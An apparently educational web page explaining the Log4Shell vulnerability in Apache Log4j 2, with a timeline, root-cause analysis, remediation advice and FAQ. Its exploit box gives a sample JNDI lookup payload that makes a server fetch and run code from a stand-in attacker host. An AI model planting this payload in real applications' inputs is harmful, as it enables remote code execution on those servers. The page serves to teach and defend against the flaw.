flawopen.com/Incidents/Log4Shell

Log4Shell: the day writing to a log file became remote code execution

Critical — CVSS 10.0 CWE-917: Expression Language Injection Disclosed December 2021
ELI5

A office has a clerk whose only job is to write down everything visitors say in a notebook. Someone discovers that if a visitor says a particular magic phrase, the clerk stops writing, walks to an address named in the phrase, collects a sealed envelope from a stranger, and carries out whatever instructions are inside. The clerk was never supposed to do anything. They were supposed to write things down.

Key terms on this page
JNDI
Java Naming and Directory Interface — a Java API for looking up objects by name from a directory service such as LDAP or RMI. Crucially, a lookup can return a reference that causes Java to fetch and load a remote class.
message lookup
A Log4j 2 feature that interpolated ${...} expressions found inside log message text, substituting values at logging time.
deserialization / remote class loading
The mechanism by which a JVM can be convinced to fetch bytecode from a remote server and execute it.

What happened

Apache Log4j 2 is one of the most widely deployed logging libraries in the Java ecosystem — present, directly or transitively, in an enormous share of enterprise Java applications. In December 2021 it emerged that Log4j 2 would interpolate ${jndi:...} expressions found inside the text being logged, and that doing so caused the JVM to contact an attacker-controlled server and load a remote class.

The result was arguably the most consequential vulnerability of the decade. Any input that eventually reached a log statement was an attack vector: HTTP headers, usernames on failed logins, User-Agent strings, chat messages, filenames, search queries. Because logging is by definition the thing applications do with untrusted input, the exploit surface was effectively "everywhere".

Timeline
24 November 2021
The issue is reported privately to the Apache Software Foundation by the Alibaba Cloud security team.
9–10 December 2021
A proof of concept circulates publicly and mass exploitation begins within hours. CVE-2021-44228 is assigned, scored CVSS 10.0.
December 2021
Log4j 2.15.0 ships, followed by 2.16.0 and 2.17.0 as follow-up issues (CVE-2021-45046, CVE-2021-45105) are found in the initial remediation.
Following months
Global remediation effort; the flaw is added to CISA's Known Exploited Vulnerabilities catalog and drives emergency directives worldwide.

The technical root cause

Data was treated as an expression

Log4j 2 applied string interpolation to the log message itself, not merely to the format pattern supplied by the developer. That collapses the boundary between the template (trusted, written by the programmer) and the data (untrusted, supplied by a user). Once an attacker controls text that gets interpolated, they control an expression evaluator.

One of the available expressions could load remote code

The jndi lookup prefix resolved names through JNDI, which supports LDAP and RMI. A crafted LDAP response could return a reference instructing the JVM to download and instantiate a class from an attacker's HTTP server — turning information disclosure into arbitrary code execution in one step.

Neither half was obviously dangerous alone. Interpolating variables into log output is a reasonable convenience. JNDI is a legitimate enterprise Java API. The vulnerability lived in the composition — a rich expression language reachable from untrusted data, where one of the expressions happened to be a code loader.

THE ENTIRE EXPLOIT
// Application code — looks harmless,
// and was considered best practice
logger.info("Login failed for user: {}",
            request.getParameter("user"));

// Attacker submits this as the username:
// ${jndi:ldap://attacker.tld/a}

// Log4j interpolates it, performs an LDAP
// lookup, loads the returned class,
// and executes it.
THE FIX
// 1. Upgrade. This is the real fix.
//    Log4j 2.17.1+ removes message
//    lookups and JNDI by default.

// 2. Structurally: never let untrusted
//    data reach an expression evaluator.

// 3. Defence in depth: egress filtering.
//    A server with no outbound LDAP/RMI
//    route cannot fetch the payload.

The lessons that actually transfer

FAQ

Was Log4j 1.x affected?

Log4j 1.x did not contain the message-lookup feature that caused CVE-2021-44228. However, 1.x reached end of life in 2015 and carries its own unpatched issues, so it is not a safe destination — the correct move is forward to a current 2.x release.

Were the mitigation flags a real fix?

Early guidance circulated several stopgaps, including setting formatMsgNoLookups. These reduced exposure but were incomplete in some configurations and versions. Upgrading was, and remains, the reliable answer.

Related reading

Sources